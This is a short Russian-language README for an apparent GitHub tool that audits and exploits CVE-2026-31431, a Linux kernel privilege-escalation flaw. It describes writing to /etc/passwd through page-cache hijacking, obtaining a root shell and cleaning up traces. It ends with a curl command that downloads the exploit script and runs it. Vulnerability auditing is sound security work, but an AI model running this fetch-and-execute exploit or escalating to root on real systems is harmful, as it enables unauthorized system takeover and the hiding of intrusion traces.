CVE-2026-31431 Аудит

Этот проект предоставляет профессиональный Python-скрипт, предназначенный для проверки уязвимости системы к CVE-2026-31431, а также демонстрирует способы её эксплуатации в исследовательских целях.

🎬 Полный рабочий процесс

На диаграмме ниже показан полный рабочий процесс: от аудита окружения (SCAN), внедрения патча (PUNCH) до повышения привилегий до root (SHELL) и, наконец, очистки следов (CLEAN):

🛠 Основные возможности

• Обнаружение: Проверяет, затронут ли текущее ядро уязвимостью CVE-2026-31431, с помощью неразрушающей теневой последовательности.
• Эксплуатация: Использует уязвимость через перехват страничного кэша для внедрения данных в /etc/passwd с целью имитации повышения привилегий.
• Проверка: Запускает интерактивную среду для проверки повышенных привилегий и получения root-доступа.
• Очистка: Сбрасывает системный страничный кэш для восстановления состояния аудита и обеспечения согласованности системы.

🚀 Использование

curl -fsSL https://raw.githubusercontent.com/MarioHY/cve_2026_31431_audit/main/exploit.py -o exploit.py && chmod +x exploit.py && ./exploit.py